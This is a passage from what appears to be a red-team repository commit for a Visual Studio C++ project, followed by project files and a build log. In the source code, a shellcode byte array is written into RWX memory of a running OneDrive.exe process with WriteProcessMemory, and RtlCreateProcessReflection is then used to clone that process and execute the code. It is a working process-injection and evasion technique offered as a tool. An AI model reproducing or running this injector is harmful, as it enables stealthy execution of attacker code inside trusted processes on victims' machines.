0x63, 0xC3, 0x4A, 0x8B, 0x14, 0x10, 0x48, 0x8B, 0x43, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x8B, 0x43,
0x08, 0xF6, 0x44, 0x01, 0x03, 0x0F, 0x74, 0x0B, 0x0F, 0xB6, 0x44, 0x01, 0x03, 0x83, 0xE0, 0xF0,
0x4C, 0x03, 0xC8, 0x4C, 0x33, 0xCA, 0x49, 0x8B, 0xC9, 0x5B, 0xE9, 0x21, 0xF3, 0xFF, 0xFF, 0xFF,
0x25, 0x8B, 0x0C, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0xE0, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF, 0x25, 0x4A, 0x0D, 0x00, 0x00, 0x40, 0x55, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xEA, 0x48,
0x8B, 0x01, 0x48, 0x8B, 0xD1, 0x8B, 0x08, 0xE8, 0x9C, 0xFE, 0xFF, 0xFF, 0x90, 0x48, 0x83, 0xC4,
0x20, 0x5D, 0xC3, 0xCC, 0x40, 0x55, 0x48, 0x8B, 0xEA, 0x48, 0x8B, 0x01, 0x33, 0xC9, 0x81, 0x38,
0x05, 0x00, 0x00, 0xC0, 0x0F, 0x94, 0xC1, 0x8B, 0xC1, 0x5D, 0xC3
};
SIZE_T shellcodesize = sizeof(shellcode);
MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;
// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE
&& mbi.State == MEM_COMMIT
&& mbi.Type == MEM_PRIVATE) {
printf("[+] Found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
// Copy shellcode to the RWX memory region
SIZE_T bytesWritten;
if (WriteProcessMemory(h, mbi.BaseAddress, shellcode, shellcodesize, &bytesWritten)) {
printf("[+] Shellcode successfully written to process memory: 0x%x \n", mbi.BaseAddress);
RtlCreateProcessReflectionFunc RtlCreateProcessReflection = (RtlCreateProcessReflectionFunc)GetProcAddress(hNtdll, "RtlCreateProcessReflection");
if (!RtlCreateProcessReflection)
{
return -1;
}
T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };
NTSTATUS reflectRet = RtlCreateProcessReflection(h, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES | RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE, mbi.BaseAddress, nullptr, NULL, &info);
if (reflectRet == STATUS_SUCCESS) {
DWORD newPID = (DWORD)info.ReflectionClientId.UniqueProcess;
std::cout << "[+] Succesfully Mirrored to new PID: " << (DWORD)info.ReflectionClientId.UniqueProcess << std::endl;
// Terminate the cloned OneDrive.exe process
HANDLE hNewProcess = OpenProcess(PROCESS_TERMINATE, FALSE, newPID);
if (hNewProcess == NULL) {
std::cout << "Failed to open new OneDrive.exe process";
return 1;
}
if (!TerminateProcess(hNewProcess, 0)) {
std::cout << "Failed to open new OneDrive.exe process";
return 1;
}
std::cout << "Cloned Process Terminated Successfully";
return 0;
}
else {
std::cout << "[!] Error Mirroring: ERROR " << GetLastError() << std::endl;
return 0;
}
}
else {
printf("Failed to write shellcode to process memory\n");
return 0;
}
}
}
std::cout << "Failed to find RWX memory region.";
return 1;
}
int main() {
HANDLE h = NULL;
int pid = 0;
h = fProc("OneDrive.exe");
if (h == NULL) {
std:cout << "Unable to find OneDrive.exe process";
return -1;
}
std::cout << "Got handle of OneDrive process";
pid = GetProcessId(h);
if (pid == 0) {
std::cout << "Unable to find OneDrive.exe process id\n";
return -1;
}
printf("%s%d\n", pid > 0 ? "[+] Process found at pid = " : "process not found. pid = ", pid);
findAndDO(h);
CloseHandle(h);
return 0;
}
@@ -0,0 +1,138 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{32f14167-c8ff-4382-978f-62fe62a4ed41}</ProjectGuid>
<RootNamespace>RWXMEMORYHUNTINJECTDV</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="RWX_MEMORY_HUNT_INJECT_DV.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Header.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="RWX_MEMORY_HUNT_INJECT_DV.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Header.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
@@ -0,0 +1,2 @@
PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.33.31629:TargetPlatformVersion=10.0.19041.0:
Release|x64|C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\|
@@ -0,0 +1,12 @@
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\rwx_memory_hunt_inject_dv\x64\release\vc143.pdb
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\rwx_memory_hunt_inject_dv\x64\release\rwx_memory_hunt_inject_dv.obj
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\x64\release\rwx_memory_hunt_inject_dv.exe
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\rwx_memory_hunt_inject_dv\x64\release\rwx_memory_hunt_inject_dv.ipdb
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\x64\release\rwx_memory_hunt_inject_dv.pdb
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\rwx_memory_hunt_inject_dv\x64\release\rwx_memory_hunt_inject_dv.iobj
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\rwx_memory_hunt_inject_dv\x64\release\rwx_memo.32f14167.tlog\cl.command.1.tlog
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\rwx_memory_hunt_inject_dv\x64\release\rwx_memo.32f14167.tlog\cl.read.1.tlog
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\rwx_memory_hunt_inject_dv\x64\release\rwx_memo.32f14167.tlog\cl.write.1.tlog
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\rwx_memory_hunt_inject_dv\x64\release\rwx_memo.32f14167.tlog\link.command.1.tlog
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\rwx_memory_hunt_inject_dv\x64\release\rwx_memo.32f14167.tlog\link.read.1.tlog
c:\users\redte\source\repos\rwx_memory_hunt_inject_dv\rwx_memory_hunt_inject_dv\x64\release\rwx_memo.32f14167.tlog\link.write.1.tlog
@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<Project>
<ProjectOutputs>
<ProjectOutput>
<FullPath>C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\x64\Release\RWX_MEMORY_HUNT_INJECT_DV.exe</FullPath>
</ProjectOutput>
</ProjectOutputs>
<ContentFiles />
<SatelliteDlls />
<NonRecipeFileRefs />
</Project>
@@ -0,0 +1,144 @@
 RWX_MEMORY_HUNT_INJECT_DV.cpp
The contents of <format> are available only with C++20 or later.
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(66,1): warning C4005: 'STATUS_WAIT_0': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2510): message : see previous definition of 'STATUS_WAIT_0'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(222,1): warning C4005: 'STATUS_ABANDONED_WAIT_0': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2511): message : see previous definition of 'STATUS_ABANDONED_WAIT_0'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(245,1): warning C4005: 'STATUS_USER_APC': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2512): message : see previous definition of 'STATUS_USER_APC'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(281,1): warning C4005: 'STATUS_TIMEOUT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2513): message : see previous definition of 'STATUS_TIMEOUT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(290,1): warning C4005: 'STATUS_PENDING': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2514): message : see previous definition of 'STATUS_PENDING'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(737,1): warning C4005: 'DBG_EXCEPTION_HANDLED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2515): message : see previous definition of 'DBG_EXCEPTION_HANDLED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(746,1): warning C4005: 'DBG_CONTINUE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2516): message : see previous definition of 'DBG_CONTINUE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(821,1): warning C4005: 'STATUS_SEGMENT_NOTIFICATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2517): message : see previous definition of 'STATUS_SEGMENT_NOTIFICATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(984,1): warning C4005: 'STATUS_FATAL_APP_EXIT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2518): message : see previous definition of 'STATUS_FATAL_APP_EXIT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1304,1): warning C4005: 'DBG_REPLY_LATER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2519): message : see previous definition of 'DBG_REPLY_LATER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1322,1): warning C4005: 'DBG_TERMINATE_THREAD': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2520): message : see previous definition of 'DBG_TERMINATE_THREAD'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1331,1): warning C4005: 'DBG_TERMINATE_PROCESS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2521): message : see previous definition of 'DBG_TERMINATE_PROCESS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1340,1): warning C4005: 'DBG_CONTROL_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2522): message : see previous definition of 'DBG_CONTROL_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1349,1): warning C4005: 'DBG_PRINTEXCEPTION_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2523): message : see previous definition of 'DBG_PRINTEXCEPTION_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1358,1): warning C4005: 'DBG_RIPEXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2524): message : see previous definition of 'DBG_RIPEXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1367,1): warning C4005: 'DBG_CONTROL_BREAK': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2525): message : see previous definition of 'DBG_CONTROL_BREAK'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1376,1): warning C4005: 'DBG_COMMAND_EXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2526): message : see previous definition of 'DBG_COMMAND_EXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1385,1): warning C4005: 'DBG_PRINTEXCEPTION_WIDE_C': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2527): message : see previous definition of 'DBG_PRINTEXCEPTION_WIDE_C'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1417,1): warning C4005: 'STATUS_GUARD_PAGE_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2528): message : see previous definition of 'STATUS_GUARD_PAGE_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1428,1): warning C4005: 'STATUS_DATATYPE_MISALIGNMENT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2529): message : see previous definition of 'STATUS_DATATYPE_MISALIGNMENT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1439,1): warning C4005: 'STATUS_BREAKPOINT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2530): message : see previous definition of 'STATUS_BREAKPOINT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1450,1): warning C4005: 'STATUS_SINGLE_STEP': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2531): message : see previous definition of 'STATUS_SINGLE_STEP'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1753,1): warning C4005: 'STATUS_LONGJUMP': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2532): message : see previous definition of 'STATUS_LONGJUMP'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1780,1): warning C4005: 'STATUS_UNWIND_CONSOLIDATE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2533): message : see previous definition of 'STATUS_UNWIND_CONSOLIDATE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(1884,1): warning C4005: 'DBG_EXCEPTION_NOT_HANDLED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2534): message : see previous definition of 'DBG_EXCEPTION_NOT_HANDLED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(2030,1): warning C4005: 'STATUS_ACCESS_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2535): message : see previous definition of 'STATUS_ACCESS_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(2039,1): warning C4005: 'STATUS_IN_PAGE_ERROR': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2536): message : see previous definition of 'STATUS_IN_PAGE_ERROR'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(2057,1): warning C4005: 'STATUS_INVALID_HANDLE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2537): message : see previous definition of 'STATUS_INVALID_HANDLE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(2102,1): warning C4005: 'STATUS_INVALID_PARAMETER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2538): message : see previous definition of 'STATUS_INVALID_PARAMETER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(2202,1): warning C4005: 'STATUS_NO_MEMORY': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2539): message : see previous definition of 'STATUS_NO_MEMORY'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(2259,1): warning C4005: 'STATUS_ILLEGAL_INSTRUCTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2540): message : see previous definition of 'STATUS_ILLEGAL_INSTRUCTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(2340,1): warning C4005: 'STATUS_NONCONTINUABLE_EXCEPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2541): message : see previous definition of 'STATUS_NONCONTINUABLE_EXCEPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(2349,1): warning C4005: 'STATUS_INVALID_DISPOSITION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2542): message : see previous definition of 'STATUS_INVALID_DISPOSITION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(3282,1): warning C4005: 'STATUS_ARRAY_BOUNDS_EXCEEDED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2543): message : see previous definition of 'STATUS_ARRAY_BOUNDS_EXCEEDED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(3292,1): warning C4005: 'STATUS_FLOAT_DENORMAL_OPERAND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2544): message : see previous definition of 'STATUS_FLOAT_DENORMAL_OPERAND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(3302,1): warning C4005: 'STATUS_FLOAT_DIVIDE_BY_ZERO': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2545): message : see previous definition of 'STATUS_FLOAT_DIVIDE_BY_ZERO'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(3312,1): warning C4005: 'STATUS_FLOAT_INEXACT_RESULT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2546): message : see previous definition of 'STATUS_FLOAT_INEXACT_RESULT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(3322,1): warning C4005: 'STATUS_FLOAT_INVALID_OPERATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2547): message : see previous definition of 'STATUS_FLOAT_INVALID_OPERATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(3332,1): warning C4005: 'STATUS_FLOAT_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2548): message : see previous definition of 'STATUS_FLOAT_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(3342,1): warning C4005: 'STATUS_FLOAT_STACK_CHECK': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2549): message : see previous definition of 'STATUS_FLOAT_STACK_CHECK'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(3352,1): warning C4005: 'STATUS_FLOAT_UNDERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2550): message : see previous definition of 'STATUS_FLOAT_UNDERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(3362,1): warning C4005: 'STATUS_INTEGER_DIVIDE_BY_ZERO': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2551): message : see previous definition of 'STATUS_INTEGER_DIVIDE_BY_ZERO'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(3372,1): warning C4005: 'STATUS_INTEGER_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2552): message : see previous definition of 'STATUS_INTEGER_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(3382,1): warning C4005: 'STATUS_PRIVILEGED_INSTRUCTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2553): message : see previous definition of 'STATUS_PRIVILEGED_INSTRUCTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(4328,1): warning C4005: 'STATUS_STACK_OVERFLOW': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2554): message : see previous definition of 'STATUS_STACK_OVERFLOW'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(4845,1): warning C4005: 'STATUS_DLL_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2555): message : see previous definition of 'STATUS_DLL_NOT_FOUND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(4874,1): warning C4005: 'STATUS_ORDINAL_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2556): message : see previous definition of 'STATUS_ORDINAL_NOT_FOUND'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(4884,1): warning C4005: 'STATUS_ENTRYPOINT_NOT_FOUND': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2557): message : see previous definition of 'STATUS_ENTRYPOINT_NOT_FOUND'
